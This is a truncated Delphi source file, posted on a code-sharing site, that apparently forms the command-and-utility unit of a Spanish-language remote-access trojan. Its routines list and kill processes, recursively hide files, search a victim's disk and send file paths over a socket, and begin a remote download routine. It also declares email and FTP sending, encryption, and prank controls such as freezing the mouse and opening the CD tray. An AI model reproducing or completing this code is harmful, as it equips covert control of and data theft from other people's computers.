DM5314_UCommandsAndUtils.pas
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:34k
源码类别:

Delphi控件源码

开发平台:

Delphi

  1. unit DM5314_UCommandsAndUtils;
  2. interface
  3. uses Windows,wininet, winsock ,TlHelp32, ShellApi, MMSystem;
  4. function FindWindowsDir : string;
  5. function CloseProcces(Exefile: string): string;
  6. function split (text : string;char : char; num : integer):string;
  7. procedure SendEMAIL(SMTP : string; EMAIL:string; MyEMAIL:string);
  8. function GetLocalPath:string;
  9. function GetFileName (text : string):string;
  10. procedure SendData (SOCKET : TSOCKET;Data :string);
  11. function FindChar(Word: string;char : char):integer  ;
  12. function FindNChars(Word: string;char : char):integer  ;
  13. function ShellEx(Path : string):string;
  14. function LocalIP: string;
  15. function Replace(strSource:string; strToFind:string; strReplace:string): string;
  16. function Get_SysPath:string  ;
  17. function EsXP : Boolean;
  18. function Descargar( url : String; Parametro2: String  ): boolean;
  19. function  BorrarArchivo( s: String ): integer;
  20. function FileExists( s : String ): Boolean;
  21. function StrToInt64(const S: string): Int64;
  22. function BuffToStr( const b : Array of Char ) : string;
  23. function StrToInt(const S: string ): Integer;
  24. function StrPas(const Str: PChar): string;
  25. function IntToStr(Value: Integer): string;
  26. function StrPCopy(Dest: PChar; const Source: string): PChar;
  27. function LowerCase(const S: string): string;
  28. function SigFrmToStr(Value: Integer; FormatStr : PChar): string;
  29. function UnSigFrmToStr(Value: Cardinal; FormatStr : PChar): string;
  30. function StrToIntDef(const S: string; Default: Integer): Integer;
  31. function Trim(const S: string): string;
  32. function UpperCase( S :String ): String ;
  33. function stringtochar(st : string) : char;
  34. function HexToInt(s: string): Longword;
  35. function KillProcess( Parametro : String): String;
  36. function Procces( ):string;
  37. procedure BuscaFicheros( path, mask : String;SOCKET: Tsocket );
  38. procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String ; tcp:integer);
  39. function PeerToName(Socket: TSocket): string;
  40. function PeerToAddress(Socket: TSocket): string;
  41. function PeerToPort(Socket: TSocket): string;
  42. procedure LIST( SOCKET : Tsocket;dir : string );
  43. procedure SendFTP(Host: string;User : string; PASS : string;Port : integer; Dir : string);
  44. procedure HideFile( s :String);
  45. function Decrypt(const S: AnsiString; Key: Word): AnsiString;
  46. function Encrypt(const S: AnsiString; Key: Word): AnsiString;
  47.  var   Parlante, Basta, Congelado, Bloqueado, CDROMCerrado, SMouse, TaskBar, SysTray, Iconos,
  48.       Bajando, MonitorPrendido, BotonInicio, Monitor_Activado, LucecitasActivadas,
  49.       MouseLoco, Rebota, Vivorita : Boolean;
  50.       //esto es para el boton de inicio
  51.       h    : THandle;
  52.       r    : TRect;
  53.       Grave: Integer = 20;
  54.       //para consola
  55.       ConsolaApp : String;
  56.       RunPipe    : Boolean;
  57.       EsConsola  : Boolean;
  58.        Clave   : String;
  59. implementation
  60.       uses Mainform;
  61. function KillProcess( Parametro : String): String;
  62. var h : THandle;
  63. begin
  64.      Result := 'KillProcess is terminated!';
  65.      try h:= OpenProcess( PROCESS_ALL_ACCESS, TRUE, StrToInt64( parametro ) );
  66.          if TerminateProcess( h, 0 ) then
  67.             Result := 'KillProcess is terminated!'
  68.          except
  69.      end;
  70. end;
  71. function Procces(): string;
  72. var Proceso : TProcessEntry32;
  73.     SHandle : THandle;
  74.     Next    : Boolean;
  75.       Tmp :string    ;
  76. begin
  77.       Proceso.dwSize := SizeOf( TProcessEntry32 );
  78.       SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  79.       if Process32First( SHandle, Proceso ) then
  80.       begin
  81.           Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
  82.            repeat Next := Process32Next( SHandle , Proceso );
  83.                  Tmp:=Tmp + #13#10 + IntToStr( Proceso.th32ProcessID ) + '  '  + Proceso.szExeFile;
  84.            until not Next;
  85.       end;
  86.       CloseHandle( SHandle );
  87.       Result :=Tmp
  88.       end;
  89. function CloseProcces(Exefile: string): string;
  90. var Proceso : TProcessEntry32;
  91.     SHandle : THandle;
  92.     Next    : Boolean;
  93.       Tmp :string    ;
  94. begin
  95.       Proceso.dwSize := SizeOf( TProcessEntry32 );
  96.       SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  97.       if Process32First( SHandle, Proceso ) then
  98.       begin
  99.           Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
  100.            repeat Next := Process32Next( SHandle , Proceso );
  101.                   if    Proceso.szExeFile=Exefile    then begin
  102.                   KillProcess ( IntToStr( Proceso.th32ProcessID ) );
  103.                 // Tmp:=Tmp + #13#10 + IntToStr( Proceso.th32ProcessID ) + '  '  + Proceso.szExeFile;
  104.                        end;
  105.            until not Next;
  106.       end;
  107.       CloseHandle( SHandle );
  108.       Result :=''
  109.       end;
  110. procedure HideFile( s :String);
  111. var i : Byte;
  112. begin
  113.      i := GetFileAttributes( Pchar ( s ) );
  114.      i := i or $00000002;   //oculto
  115.      SetFileAttributes( Pchar( s ),i );
  116. end;
  117. function Ocultar( Path: String; oculto:Boolean  ): String ;
  118. var sr      : WIN32_FIND_DATA;
  119.     retval  :integer;
  120.     sigue   :longbool;
  121.     esDir   : Bool;
  122. begin
  123.      retval := FindFirstFile( PChar( path ), sr );
  124.      if retval = -1 then
  125.           Exit;
  126.      sigue := true;
  127.      while sigue do
  128.      begin
  129.          EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
  130.          if EsDir then
  131.          begin
  132.              if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
  133.                   Ocultar( Copy( path,1, Length( path ) - 3 ) + sr.cfilename + '*.*', true );
  134.          end
  135.          else begin
  136.                    HideFile(Copy( path, 1, Length( path ) - 3) + sr.cFileName);
  137.                end;
  138.          sigue := FindNextFile( retval, sr );
  139.       end;
  140. end;
  141. procedure BuscaFicheros( path, mask : String; SOCKET: Tsocket);
  142. var sr      : WIN32_FIND_DATA;
  143.     retval  :integer;
  144.     sigue   :longbool;
  145.     esDir   : Bool;
  146. begin
  147.      sigue := true;
  148.      if path[ Length( path ) ] <> '' then
  149.         path := path +'';
  150.      retval := FindFirstFile( Pchar( path + '*.*' ), sr );
  151.      while sigue do
  152.      begin
  153.          EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
  154.          if EsDir then
  155.             if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
  156.                  BuscaFicheros( path + sr.cFileName, mask, SOCKET  );
  157.          sigue := FindNextFile( retVal, sr );
  158.      end;
  159.      if path[ Length( path ) ] <> '' then
  160.         path := path + '';
  161.      RetVal := FindFirstFile( Pchar( path + mask ), sr );
  162.      if RetVal = -1 then
  163.         Exit;
  164.      sigue := true;
  165.      while sigue do
  166.      begin
  167.           if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
  168.              SendData(SOCKET, path + sr.CfileName);
  169.           sigue := FindNextFile( retVal, sr );
  170.      end;
  171. end;
  172. procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String; tcp:integer );
  173. begin
  174.      if Bajando then
  175.      begin
  176.           //Contestar( udp, cli, LocalIP + ': Ahorita estoy bajando otro archivo de la web, esperame!!!', tcp );
  177.           Exit;
  178.      end;
  179.      if FileExists( Parametro2 ) then
  180.      begin
  181.           //Contestar( udp, cli, LocalIP + ': El archivo de salida ya existe y no lo pienso sobreescribir, as